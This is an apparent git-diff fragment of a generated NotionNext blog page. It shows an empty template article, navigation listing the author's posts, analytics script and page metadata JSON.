notion-h-indent-0 notion-block-429902e3fd85467c823ea01d0c6f3585" data-id="429902e3fd85467c823ea01d0c6f3585"><span><div id="429902e3fd85467c823ea01d0c6f3585" class="notion-header-anchor"></div><a class="notion-hash-link" href="#429902e3fd85467c823ea01d0c6f3585" title="📎 参考文章"><svg viewBox="0 0 16 16" width="16" height="16"><path fill-rule="evenodd" d="M7.775 3.275a.75.75 0 001.06 1.06l1.25-1.25a2 2 0 112.83 2.83l-2.5 2.5a2 2 0 01-2.83 0 .75.75 0 00-1.06 1.06 3.5 3.5 0 004.95 0l2.5-2.5a3.5 3.5 0 00-4.95-4.95l-1.25 1.25zm-4.69 9.64a2 2 0 010-2.83l2.5-2.5a2 2 0 012.83 0 .75.75 0 001.06-1.06 3.5 3.5 0 00-4.95 0l-2.5 2.5a3.5 3.5 0 004.95 4.95l1.25-1.25a.75.75 0 00-1.06-1.06l-1.25 1.25a2 2 0 01-2.83 0z"></path></svg></a><span class="notion-h-title">📎 参考文章</span></span></h2><ul class="notion-list notion-list-disc notion-block-2b18786dffa24d789627a8e7e7ff5764"><li>一些引用</li></ul><ul class="notion-list notion-list-disc notion-block-3cfd7e2b110145ddaa39381d8a0d5173"><li>引用文章</li></ul><div class="notion-blank notion-block-14fcaf0502a34cb782299512ee7a23f1"> </div><div class="notion-callout notion-gray_background_co notion-block-4c8e427a3bcd424785b839aa455c2e41"><div class="notion-page-icon-inline notion-page-icon-span"><span class="notion-page-icon" role="img" aria-label="💡">💡</span></div><div class="notion-callout-text">有关Notion安装或者使用上的问题,欢迎您在底部评论区留言,一起交流~</div></div></main></div><div class="m-1 overflow-x-auto"><div class="flex w-full md:justify-end"></div></div><div class="flex justify-between"><div></div></div><section class="text-gray-800 dark:text-gray-400 h-12 flex items-center justify-between space-x-5 my-4"><a class="text-sm cursor-pointer justify-start items-center flex hover:underline duration-300" href="/article/example"><i class="mr-1 fas fa-angle-double-left"></i>示例文章</a><a class="text-sm cursor-pointer justify-end items-center flex hover:underline duration-300" href="/article/240325-ollama">mac体验ollama本地大模型<i class="ml-1 my-1 fas fa-angle-double-right"></i></a></section><div id="comment" class="comment mt-5 text-gray-800 dark:text-gray-300 "></div></section><div id="gitbook-toc-float" class="fixed top-0 right-0 z-40 md:hidden"><div class=" -mr-72 animate__slideOutRight overflow-y-hidden shadow-card w-60 duration-200 fixed right-1 bottom-16 rounded py-2 bg-white dark:bg-hexo-black-gray"><div class="dark:text-gray-400 text-gray-600 h-96 p-3"></div></div></div><div id="right-drawer-background" class="hidden fixed top-0 left-0 z-30 w-full h-full"></div></div></div><div id="jump-to-top" data-aos="fade-up" data-aos-duration="300" data-aos-once="false" data-aos-anchor-placement="top-center" class="fixed xl:right-80 right-2 mr-10 bottom-24 z-20"><i class="fas fa-chevron-up cursor-pointer p-2 rounded-full border bg-white dark:bg-hexo-black-gray"></i></div></div><div class="md:hidden"><footer class="z-20 py-2 bg:white dark:bg-hexo-black-gray justify-center text-center w-full text-sm relative"><hr class="pb-2"/><div class="flex justify-center"><div><i class="mx-1 animate-pulse fas fa-heart"></i> <a href="https://bothsavage.github.io/" class="underline font-bold text-gray-500 dark:text-gray-300 ">Both Savage</a>.<br/></div>© <!-- -->2024</div><div class="text-xs font-serif">Powered By <a href="https://github.com/tangly1024/NotionNext" class="underline text-gray-500 dark:text-gray-300">NotionNext</a></div><span class="hidden busuanzi_container_site_pv"><i class="fas fa-eye"></i><span class="px-1 busuanzi_value_site_pv"> </span>  </span><span class="pl-2 hidden busuanzi_container_site_uv"><i class="fas fa-users"></i> <span class="px-1 busuanzi_value_site_uv"> </span> </span><h1 class="pt-1">Both Savage</h1></footer></div></div><div style="width:32rem" class="hidden xl:block dark:border-transparent relative z-10 "><div class="py-14 px-6 sticky top-0"><div class="pt-10 pb-6 text-gray-400 text-sm border-b"><i class="fa-regular fa-clock mr-1"></i>Last update:  <!-- -->2021-07-02</div><div class="py-4"></div></div></div></main><div id="gitbook-left-float" class="fixed top-0 left-0 z-40 md:hidden"><div class="-ml-80 animate__slideOutLeft overflow-y-hidden shadow-card w-72 duration-200 fixed left-1 top-16 rounded py-2 bg-white dark:bg-gray-600"><div class="dark:text-gray-400 text-gray-600 h-96 overflow-y-scroll p-3"><div id="posts-wrapper" class="w-full flex-grow"><div class="select-none flex justify-between text-sm font-sans cursor-pointer p-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600"><span>技术分享</span><div class="inline-flex items-center select-none pointer-events-none "><i class="px-2 fas fa-chevron-left transition-all duration-200 -rotate-90"></i></div></div><div style="height:0px;will-change:height" class=" overflow-hidden duration-200 "><div class="ml-3 border-l"><div class="text-sm ml-3 py-1 cursor-pointer px-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600  "><div class="flex flex-col w-full select-none"><a href="/article/240325-ollama">mac体验ollama本地大模型</a></div></div></div><div class="ml-3 border-l"><div class="text-sm ml-3 py-1 cursor-pointer px-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600  "><div class="flex flex-col w-full select-none"><a href="/article/240320-arthas">Arthas简单使用备忘录</a></div></div></div><div class="ml-3 border-l"><div class="text-sm ml-3 py-1 cursor-pointer px-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600  "><div class="flex flex-col w-full select-none"><a href="/article/240319-xmrig">Xmrig挖矿入侵服务器排查</a></div></div></div><div class="ml-3 border-l"><div class="text-sm ml-3 py-1 cursor-pointer px-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600  "><div class="flex flex-col w-full select-none"><a href="/article/240124-deploy">Java部署脚本&amp;重启备份检查&amp;配置环境</a></div></div></div><div class="ml-3 border-l"><div class="text-sm ml-3 py-1 cursor-pointer px-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600  "><div class="flex flex-col w-full select-none"><a href="/article/240121-skywaking">解决SkyWalking在gateway中logback链路丢失</a></div></div></div><div class="ml-3 border-l"><div class="text-sm ml-3 py-1 cursor-pointer px-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600  "><div class="flex flex-col w-full select-none"><a href="/article/240119-notion">Notion文章自动同步GitPage</a></div></div></div></div><div class="select-none flex justify-between text-sm font-sans cursor-pointer p-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600"><span>心情随笔</span><div class="inline-flex items-center select-none pointer-events-none "><i class="px-2 fas fa-chevron-left transition-all duration-200 "></i></div></div><div style="height:0px;will-change:height" class=" overflow-hidden duration-200 "><div class="ml-3 border-l"><div class="text-sm ml-3 py-1 cursor-pointer px-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600  "><div class="flex flex-col w-full select-none"><a href="/article/example">示例文章</a></div></div></div></div><div class="select-none flex justify-between text-sm font-sans cursor-pointer p-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600"><span>知行合一</span><div class="inline-flex items-center select-none pointer-events-none "><i class="px-2 fas fa-chevron-left transition-all duration-200 "></i></div></div><div style="height:0px;will-change:height" class=" overflow-hidden duration-200 "><div class="ml-3 border-l"><div class="text-sm ml-3 py-1 cursor-pointer px-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600  "><div class="flex flex-col w-full select-none"><a href="/article/begin">开始</a></div></div></div></div></div></div></div></div><div id="left-drawer-background" class="hidden fixed top-0 left-0 z-30 w-full h-full"></div></div><script async="" src="https://www.googletagmanager.com/gtag/js?id=G-XT4YTFWNBG"></script><script async="">
                 window.dataLayer = window.dataLayer || [];
                 function gtag(){dataLayer.push(arguments);}
@@ -6,4 +6,4 @@
                 gtag('config', 'G-XT4YTFWNBG', {
                   page_path: window.location.pathname,
                 });
-              </script></div><script id="__NEXT_DATA__" type="application/json" crossorigin="">{"props":{"pageProps":{"NOTION_CONFIG":{"AUTHOR":"Both Savage","BIO":"talk is cheap","TITLE":"Both Savage","DESCRIPTION":"talk is cheap","LINK":"https://bothsavage.github.io/","THEME":"gitbook","CAN_COPY":"true","SINCE":"2024","CONTACT_EMAIL":"bothsavage@163.com","CUSTOM_MENU":"true","CUSTOM_RIGHT_CLICK_CONTEXT_MENU":"false","LANG":"en-US","THEME_SWITCH":"true","POST_SHARE_BAR_ENABLE":"true"},"notice":null,"siteInfo":{"title":"Both Savage","description":"一个NotionNext搭建的博客","pageCover":"https://www.notion.so/images/page-cover/nasa_robert_stewart_spacewalk_2.jpg","icon":"https://www.notion.so/image/https%3A%2F%2Fprod-files-secure.s3.us-west-2.amazonaws.com%2Feb3e1328-8f32-4ff5-8d18-8ea80020e175%2Fc5ebdc5a-c3fd-403e-906b-17d64db6d01f%2Ffavicon.ico?table=collection\u0026id=3c6ddc29-47df-43f6-a375-de1c3a9cf466\u0026t=3c6ddc29-47df-43f6-a375-de1c3a9cf466\u0026width=800"},"allNavPages":[{"id":"e8fd9138-663d-415d-9684-24343fb3248f","title":"mac体验ollama本地大模型","pageCoverThumbnail":"https://source.unsplash.com/random?t=e8fd9138-663d-415d-9684-24343fb3248f","category":"技术分享","tags":["工具","推荐","折腾"],"summary":"m1 pro芯片+32g体验了五种大模型本地部署","slug":"article/240325-ollama","pageIcon":"🗒️","lastEditedDate":"2024-03-26T05:49:00.447Z"},{"id":"e013510c-b3a7-4907-b4cd-118b118d30db","title":"Arthas简单使用备忘录","pageCoverThumbnail":"https://source.unsplash.com/random?t=e013510c-b3a7-4907-b4cd-118b118d30db","category":"技术分享","tags":["工具","开发","推荐"],"summary":"Arthas在排查Java应用线上问题的时候有大用处,并且可以是热部署工具,这里我推荐几个我常用的方法","slug":"article/240320-arthas","pageIcon":"🗒️","lastEditedDate":"2024-03-20T04:52:10.213Z"},{"id":"7e13a286-a275-4f48-b9d0-416c9b1368ce","title":"Xmrig挖矿入侵服务器排查","pageCoverThumbnail":"https://source.unsplash.com/random?t=7e13a286-a275-4f48-b9d0-416c9b1368ce","category":"技术分享","tags":["建站","推荐","开发"],"summary":"叮咚!阿里云提示你,你的服务器正在被攻击!","slug":"article/240319-xmrig","pageIcon":"🗒️","lastEditedDate":"2024-03-19T17:15:42.884Z"},{"id":"38e3f997-dad9-46b8-99bb-d3042488821f","title":"Java部署脚本\u0026重启备份检查\u0026配置环境","pageCoverThumbnail":"https://source.unsplash.com/random?t=38e3f997-dad9-46b8-99bb-d3042488821f","category":"技术分享","tags":["推荐","工具","自动化","微服务"],"summary":"微服务jar包越来越多,每次手动上线的时候都要运行一大堆命令,并且每个人备份的jar包名称目录都不一样。故写了一个脚本规定死流程,并且把脚本配置到环境变量做自动补全。","slug":"article/240124-deploy","pageIcon":"🗒️","lastEditedDate":"2024-01-24T07:18:46.139Z"},{"id":"026c5c21-3604-4c0a-a13c-ccb9208e4815","title":"解决SkyWalking在gateway中logback链路丢失","pageCoverThumbnail":"https://source.unsplash.com/random?t=026c5c21-3604-4c0a-a13c-ccb9208e4815","category":"技术分享","tags":["推荐","开发","日志","微服务","spring","skywalking"],"summary":"一年半以前,公司就从单体应用逐步迁移到微服务管理。奈何业务绑定太深,一直在两边混合开发。由于迁移到微服务的进程完成了一大半了,之前在单体项目中打的链路追踪就不太好用了。随即想到了SkyWalking,随即发现了一个大坑,那就是在gateway组件中logback日志会丢失TraceId,网上搜了一圈都没有解决问题,我又跑到SkyWalking的issue中搜了一大圈,发现大佬以下回答,还是得自己想办法。","slug":"article/240121-skywaking","pageIcon":"🗒️","lastEditedDate":"2024-01-20T18:52:32.627Z"},{"id":"ce6b6618-a118-4ee9-b74c-33a848d0f0ed","title":"Notion文章自动同步GitPage","pageCoverThumbnail":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3\u0026q=50\u0026fm=webp\u0026crop=entropy\u0026cs=srgb\u0026t=ce6b6618-a118-4ee9-b74c-33a848d0f0ed\u0026width=800\u0026fmt=webp","category":"技术分享","tags":["建站","推荐","工具","docker","自动化","折腾","git"],"summary":"之前一直使用GitPage+typora+hexo来做文章分享管理,奈何真的麻烦坚持不下去了。Notion是我一直在使用的笔记软件,为了更好的使用Notion我还去看了许多文章。现在Notion已经是我生活的一部分了。最近发现NotionNext,但需要Vercel部署,还需要自己映射域名。所以想着用xx.github.io域名,优雅又方便","slug":"article/240119-notion","pageIcon":"📗","lastEditedDate":"2024-03-19T17:14:00.935Z"},{"id":"d3216be6-1b27-40e7-8677-7404896b7eb6","title":"示例文章","pageCoverThumbnail":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3\u0026q=50\u0026fm=webp\u0026crop=entropy\u0026cs=srgb\u0026t=d3216be6-1b27-40e7-8677-7404896b7eb6\u0026width=800\u0026fmt=webp","category":"心情随笔","tags":["建站","文字","推荐"],"summary":"这是示例的文章摘要,摘要内容可被用做搜索,预览。文章列表默认展示概要;若要在列表直接展示文章内容,可在blog.config.js中配置。","slug":"article/example","pageIcon":"🗓️","lastEditedDate":"2024-01-19T06:18:08.580Z"},{"id":"54d97ca6-33d5-40e6-8c8b-0ad4a4e9a0bf","title":"开始","pageCoverThumbnail":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3\u0026q=50\u0026fm=webp\u0026crop=entropy\u0026cs=srgb\u0026t=54d97ca6-33d5-40e6-8c8b-0ad4a4e9a0bf\u0026width=800\u0026fmt=webp","category":"知行合一","tags":["建站","文字","推荐"],"summary":"这是示例的文章摘要,摘要内容可被用做搜索,预览。文章列表默认展示概要;若要在列表直接展示文章内容,可在blog.config.js中配置。","slug":"article/begin","pageIcon":"🏐","lastEditedDate":"2024-01-19T09:15:24.923Z"}],"tagOptions":[{"id":"d9f66761-0396-4e80-be5c-2ab6c7f8ba86","name":"推荐","color":"red","count":8},{"id":"ee932bde-0023-446f-9bb4-17d2022121c9","name":"文字","color":"brown","count":2},{"id":"25b1074b-a3fa-49f5-82cd-a37d85c5666f","name":"工具","color":"pink","count":4},{"id":"1e90f00e-8f1b-4665-8e69-92f0791bde56","name":"开发","color":"pink","count":3},{"id":"2382b30f-9881-4a8b-ae7f-2d34979c4fb9","name":"建站","color":"brown","count":4},{"id":"50765df4-40d8-4098-a1b4-abf97b9ce1d2","name":"docker","color":"gray","count":1},{"id":"114a1313-d952-45e1-8bb5-8bf0b7d3c372","name":"自动化","color":"blue","count":2},{"id":"986f04d2-1cd1-4f47-84ba-2c692e069d93","name":"折腾","color":"purple","count":2},{"id":"88f6276a-b475-4a62-a2b6-438606516ec8","name":"git","color":"default","count":1},{"id":"11c42291-5274-44a7-94a3-f4af3382896b","name":"日志","color":"red","count":1},{"id":"e89abe8e-9228-48f8-8bb0-582d8343eb91","name":"微服务","color":"red","count":2},{"id":"c002f5d1-02d9-41b0-954e-6f6a5978b3e0","name":"spring","color":"purple","count":1},{"id":"9fb08037-26be-4513-a5b2-ada51bcfeb9c","name":"skywalking","color":"blue","count":1}],"categoryOptions":[{"id":"a4dcd33a-34a7-4c33-b9c2-92d3a5248f06","name":"知行合一","color":"pink","count":1},{"id":"8282ff59-f160-40c3-ab7e-6e970a0a64d5","name":"技术分享","color":"purple","count":6},{"id":"edd604ab-fda7-4d9b-964a-e7de536c05a0","name":"心情随笔","color":"orange","count":1}],"customNav":[{"icon":"fas fa-home","name":"主页","to":"//","target":"_self","show":true}],"customMenu":[{"id":"5263856d-837a-4f2d-bfc6-24cbff6c946c","icon":"fab fa-github","date":{"start_date":"2021-03-13"},"type":"Menu","slug":"https://github.com/BOTHSAVAGE","summary":"这是一个指向外部地址的单页","title":"Github","status":"Published","category":"","publishDate":1615593600000,"publishDay":"Mar 13, 2021","lastEditedDate":"2024-01-18T16:12:17.114Z","lastEditedDay":"Jan 18, 2024","fullWidth":false,"pageIcon":"","pageCover":"","pageCoverThumbnail":"","tagItems":[],"to":"https://github.com/BOTHSAVAGE","name":"Github","password":"","show":true,"target":"_blank"},{"id":"29e65d89-d04e-4ee3-9a9d-2f8856ed3055","icon":"fas fa-archive","date":{"start_date":"2023-03-23"},"type":"Menu","slug":"#","title":"往期整理","status":"Published","category":"","publishDate":1679529600000,"publishDay":"Mar 23, 2023","lastEditedDate":"2024-01-18T16:12:17.113Z","lastEditedDay":"Jan 18, 2024","fullWidth":false,"pageIcon":"","pageCover":"","pageCoverThumbnail":"","tagItems":[],"to":"#","name":"往期整理","password":"","show":true,"subMenus":[{"id":"d88da7cd-eebc-4c92-b9c3-53910376ab83","icon":"fas fa-clock-rotate-left","date":{"start_date":"2021-07-02"},"type":"SubMenu","slug":"/archive","title":"历史归档","status":"Published","category":"","publishDate":1625184000000,"publishDay":"Jul 2, 2021","lastEditedDate":"2024-01-18T16:12:17.115Z","lastEditedDay":"Jan 18, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"","pageCoverThumbnail":"","tagItems":[],"to":"/archive","name":"历史归档","password":"","show":true},{"id":"7d039e15-c906-470d-b781-943032713368","icon":"fas fa-th","date":{"start_date":"2021-07-02"},"type":"SubMenu","slug":"/category","title":"文章分类","status":"Published","category":"","publishDate":1625184000000,"publishDay":"Jul 2, 2021","lastEditedDate":"2024-01-18T16:12:17.114Z","lastEditedDay":"Jan 18, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"","pageCoverThumbnail":"","tagItems":[],"to":"/category","name":"文章分类","password":"","show":true},{"id":"e746c4ee-0327-4529-85ac-7059a10091d3","icon":"fas fa-tag","date":{"start_date":"2021-07-02"},"type":"SubMenu","slug":"/tag","title":"文章标签","status":"Published","category":"","publishDate":1625184000000,"publishDay":"Jul 2, 2021","lastEditedDate":"2024-01-18T16:12:17.115Z","lastEditedDay":"Jan 18, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"","pageCoverThumbnail":"","tagItems":[],"to":"/tag","name":"文章标签","password":"","show":true}]}],"postCount":8,"latestPosts":[{"id":"e8fd9138-663d-415d-9684-24343fb3248f","date":{"start_date":"2024-03-25","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240325-ollama","tags":["工具","推荐","折腾"],"summary":"m1 pro芯片+32g体验了五种大模型本地部署","title":"mac体验ollama本地大模型","status":"Published","publishDate":1711324800000,"publishDay":"Mar 25, 2024","lastEditedDate":"2024-03-26T05:49:00.447Z","lastEditedDay":"Mar 26, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=e8fd9138-663d-415d-9684-24343fb3248f","pageCoverThumbnail":"https://source.unsplash.com/random?t=e8fd9138-663d-415d-9684-24343fb3248f","tagItems":[{"name":"工具","color":"pink"},{"name":"推荐","color":"red"},{"name":"折腾","color":"purple"}],"password":""},{"id":"e013510c-b3a7-4907-b4cd-118b118d30db","date":{"start_date":"2024-03-20","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240320-arthas","tags":["工具","开发","推荐"],"summary":"Arthas在排查Java应用线上问题的时候有大用处,并且可以是热部署工具,这里我推荐几个我常用的方法","title":"Arthas简单使用备忘录","status":"Published","publishDate":1710892800000,"publishDay":"Mar 20, 2024","lastEditedDate":"2024-03-20T04:52:10.213Z","lastEditedDay":"Mar 20, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=e013510c-b3a7-4907-b4cd-118b118d30db","pageCoverThumbnail":"https://source.unsplash.com/random?t=e013510c-b3a7-4907-b4cd-118b118d30db","tagItems":[{"name":"工具","color":"pink"},{"name":"开发","color":"pink"},{"name":"推荐","color":"red"}],"password":""},{"id":"7e13a286-a275-4f48-b9d0-416c9b1368ce","date":{"start_date":"2024-03-19","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240319-xmrig","tags":["建站","推荐","开发"],"summary":"叮咚!阿里云提示你,你的服务器正在被攻击!","title":"Xmrig挖矿入侵服务器排查","status":"Published","publishDate":1710806400000,"publishDay":"Mar 19, 2024","lastEditedDate":"2024-03-19T17:15:42.884Z","lastEditedDay":"Mar 19, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=7e13a286-a275-4f48-b9d0-416c9b1368ce","pageCoverThumbnail":"https://source.unsplash.com/random?t=7e13a286-a275-4f48-b9d0-416c9b1368ce","tagItems":[{"name":"建站","color":"brown"},{"name":"推荐","color":"red"},{"name":"开发","color":"pink"}],"password":""},{"id":"ce6b6618-a118-4ee9-b74c-33a848d0f0ed","date":{"time_zone":"Asia/Shanghai","start_date":"2024-01-19","start_time":"13:00"},"type":"Post","category":"技术分享","slug":"article/240119-notion","tags":["建站","推荐","工具","docker","自动化","折腾","git"],"summary":"之前一直使用GitPage+typora+hexo来做文章分享管理,奈何真的麻烦坚持不下去了。Notion是我一直在使用的笔记软件,为了更好的使用Notion我还去看了许多文章。现在Notion已经是我生活的一部分了。最近发现NotionNext,但需要Vercel部署,还需要自己映射域名。所以想着用xx.github.io域名,优雅又方便","title":"Notion文章自动同步GitPage","status":"Published","publishDate":1705622400000,"publishDay":"Jan 19, 2024","lastEditedDate":"2024-03-19T17:14:00.935Z","lastEditedDay":"Mar 19, 2024","fullWidth":false,"pageIcon":"📗","pageCover":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3\u0026q=85\u0026fm=jpg\u0026crop=entropy\u0026cs=srgb\u0026t=ce6b6618-a118-4ee9-b74c-33a848d0f0ed","pageCoverThumbnail":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3\u0026q=50\u0026fm=webp\u0026crop=entropy\u0026cs=srgb\u0026t=ce6b6618-a118-4ee9-b74c-33a848d0f0ed\u0026width=800\u0026fmt=webp","tagItems":[{"name":"建站","color":"brown"},{"name":"推荐","color":"red"},{"name":"工具","color":"pink"},{"name":"docker","color":"gray"},{"name":"自动化","color":"blue"},{"name":"折腾","color":"purple"},{"name":"git","color":"default"}],"password":""},{"id":"38e3f997-dad9-46b8-99bb-d3042488821f","date":{"start_date":"2024-01-24","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240124-deploy","tags":["推荐","工具","自动化","微服务"],"summary":"微服务jar包越来越多,每次手动上线的时候都要运行一大堆命令,并且每个人备份的jar包名称目录都不一样。故写了一个脚本规定死流程,并且把脚本配置到环境变量做自动补全。","title":"Java部署脚本\u0026重启备份检查\u0026配置环境","status":"Published","publishDate":1706054400000,"publishDay":"Jan 24, 2024","lastEditedDate":"2024-01-24T07:18:46.139Z","lastEditedDay":"Jan 24, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=38e3f997-dad9-46b8-99bb-d3042488821f","pageCoverThumbnail":"https://source.unsplash.com/random?t=38e3f997-dad9-46b8-99bb-d3042488821f","tagItems":[{"name":"推荐","color":"red"},{"name":"工具","color":"pink"},{"name":"自动化","color":"blue"},{"name":"微服务","color":"red"}],"password":""},{"id":"026c5c21-3604-4c0a-a13c-ccb9208e4815","date":{"start_date":"2024-01-21","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240121-skywaking","tags":["推荐","开发","日志","微服务","spring","skywalking"],"summary":"一年半以前,公司就从单体应用逐步迁移到微服务管理。奈何业务绑定太深,一直在两边混合开发。由于迁移到微服务的进程完成了一大半了,之前在单体项目中打的链路追踪就不太好用了。随即想到了SkyWalking,随即发现了一个大坑,那就是在gateway组件中logback日志会丢失TraceId,网上搜了一圈都没有解决问题,我又跑到SkyWalking的issue中搜了一大圈,发现大佬以下回答,还是得自己想办法。","title":"解决SkyWalking在gateway中logback链路丢失","status":"Published","publishDate":1705795200000,"publishDay":"Jan 21, 2024","lastEditedDate":"2024-01-20T18:52:32.627Z","lastEditedDay":"Jan 20, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=026c5c21-3604-4c0a-a13c-ccb9208e4815","pageCoverThumbnail":"https://source.unsplash.com/random?t=026c5c21-3604-4c0a-a13c-ccb9208e4815","tagItems":[{"name":"推荐","color":"red"},{"name":"开发","color":"pink"},{"name":"日志","color":"red"},{"name":"微服务","color":"red"},{"name":"spring","color":"purple"},{"name":"skywalking","color":"blue"}],"password":""}],"post":{"id":"b4a852c3-8bab-43ef-b748-8dec9d0940f9","date":{"start_date":"2021-07-02"},"type":"Post","category":"未发布","slug":"article/example-8","tags":["Python","健康"],"summary":"仅供列表展示、文章无内容","title":"空白文章8","status":"Invisible","publishDate":1625184000000,"publishDay":"Jul 2, 2021","lastEditedDate":"2024-01-19T02:20:08.239Z","lastEditedDay":"Jan 19, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://images.unsplash.com/photo-1573164713988-8665fc963095?ixlib=rb-4.0.3\u0026q=85\u0026fm=jpg\u0026crop=entropy\u0026cs=srgb\u0026t=b4a852c3-8bab-43ef-b748-8dec9d0940f9","pageCoverThumbnail":"https://images.unsplash.com/photo-1573164713988-8665fc963095?ixlib=rb-4.0.3\u0026q=50\u0026fm=webp\u0026crop=entropy\u0026cs=srgb\u0026t=b4a852c3-8bab-43ef-b748-8dec9d0940f9\u0026width=800\u0026fmt=webp","tagItems":[{"name":"Python","color":"gray"},{"name":"健康","color":"pink"}],"password":"","blockMap":{"block":{"b4a852c3-8bab-43ef-b748-8dec9d0940f9":{"value":{"id":"b4a852c3-8bab-43ef-b748-8dec9d0940f9","version":7,"type":"page","content":["82d871b0-86d3-4d3c-8d4c-fe70087f3d69","ba10eba5-9ed2-4ed2-92a2-662ef2f3c2f7","c2d93490-64f9-4cb1-882b-ce82d4e86e34","ad9f849c-2f34-425c-8ae2-9b3e5fd954ad","9a7a521d-391c-4709-bc52-426bcdc88d29","931b0fc5-4a3c-42a1-9e72-2f98575aabe4","bfd4a004-433b-4690-91c1-564daf7111de","26ae09ec-3360-4a22-8a1c-5a04558cd1bf","ab7c6e96-b91c-45bc-85d0-f8c5da4ea1ec","429902e3-fd85-467c-823e-a01d0c6f3585","2b18786d-ffa2-4d78-9627-a8e7e7ff5764","3cfd7e2b-1101-45dd-aa39-381d8a0d5173","14fcaf05-02a3-4cb7-8229-9512ee7a23f1","4c8e427a-3bcd-4247-85b8-39aa455c2e41"],"format":{"page_font":"mono","page_icon":"🗒️","page_cover":"https://images.unsplash.com/photo-1573164713988-8665fc963095?ixlib=rb-4.0.3\u0026q=85\u0026fm=jpg\u0026crop=entropy\u0026cs=srgb","block_locked":false,"block_locked_by":"27074aef-7216-41ed-baef-d9b53addd870","copied_from_pointer":{"id":"9f28556e-a9f0-4c1b-80fb-3dbe4f348497","table":"block","spaceId":"2a229231-539e-420a-9652-17ba8be4cd18"},"page_cover_position":0.5},"created_time":1705594337113,"last_edited_time":1705630808239,"parent_id":"3c6ddc29-47df-43f6-a375-de1c3a9cf466","parent_table":"collection","alive":true,"copied_from":"9f28556e-a9f0-4c1b-80fb-3dbe4f348497","created_by_table":"notion_user","created_by_id":"e3bce58f-88e9-475b-8d52-370cf8e95e16","last_edited_by_table":"notion_user","last_edited_by_id":"e3bce58f-88e9-475b-8d52-370cf8e95e16","space_id":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"},"role":"comment_only"},"87ff73a8-1273-4f5f-96c1-cd1becb07207":{"value":{"id":"87ff73a8-1273-4f5f-96c1-cd1becb07207","type":"collection_view_page","content":["50fa88a0-6936-488c-8abc-b558b6a7b0d6"],"view_ids":["8e40545c-4d1c-4299-8605-c04d7ab6872f","818d9fe2-a27d-40ec-b827-614939109ca4","ad494b39-a38c-415e-9221-325f0f9be280","58c6fb90-5030-4627-8bad-38b57c3253cd"],"collection_id":"3c6ddc29-47df-43f6-a375-de1c3a9cf466","format":{"block_locked":false,"block_locked_by":"27074aef-7216-41ed-baef-d9b53addd870","collection_pointer":{"id":"3c6ddc29-47df-43f6-a375-de1c3a9cf466","table":"collection","spaceId":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"},"copied_from_pointer":{"id":"19c33d8c-a320-4635-ab97-ddf00a96c478","table":"block","spaceId":"2a229231-539e-420a-9652-17ba8be4cd18"},"page_cover_position":0.6},"permissions":[{"role":"editor","type":"user_permission","user_id":"e3bce58f-88e9-475b-8d52-370cf8e95e16"},{"role":"comment_only","type":"public_permission","added_timestamp":1705594424869,"allow_duplicate":false,"allow_search_engine_indexing":true}],"created_time":1705594337173,"last_edited_time":1711431614088,"parent_id":"eb3e1328-8f32-4ff5-8d18-8ea80020e175","parent_table":"space","alive":true,"copied_from":"19c33d8c-a320-4635-ab97-ddf00a96c478"}},"82d871b0-86d3-4d3c-8d4c-fe70087f3d69":{"value":{"id":"82d871b0-86d3-4d3c-8d4c-fe70087f3d69","type":"callout","properties":{"title":[["这里写文章的前言:\n一个简单的开头,简述这篇文章讨论的问题、目标、人物、背景是什么?并简述你给出的答案。"]]},"content":["aad2aea5-e7bc-4147-bfeb-465cbf407a92"],"format":{"page_icon":"😀","block_color":"gray_background","copied_from_pointer":{"id":"7691f913-ab67-4bef-a6fc-40f04cddd7f7","table":"block","spaceId":"2a229231-539e-420a-9652-17ba8be4cd18"}},"created_time":1705594337139,"last_edited_time":1705594337139,"parent_id":"b4a852c3-8bab-43ef-b748-8dec9d0940f9","parent_table":"block","alive":true,"copied_from":"7691f913-ab67-4bef-a6fc-40f04cddd7f7"}},"aad2aea5-e7bc-4147-bfeb-465cbf407a92":{"value":{"id":"aad2aea5-e7bc-4147-bfeb-465cbf407a92","type":"text","properties":{"title":[["可以说说你的故事:阻碍、努力、结果成果,意外与转折。"]]},"format":{"copied_from_pointer":{"id":"49ad2fff-395c-4e41-8975-b5e59bf12e5c","table":"block","spaceId":"2a229231-539e-420a-9652-17ba8be4cd18"}},"created_time":1705594337155,"last_edited_time":1705594337155,"parent_id":"82d871b0-86d3-4d3c-8d4c-fe70087f3d69","parent_table":"block","alive":true,"copied_from":"49ad2fff-395c-4e41-8975-b5e59bf12e5c"}},"ba10eba5-9ed2-4ed2-92a2-662ef2f3c2f7":{"value":{"id":"ba10eba5-9ed2-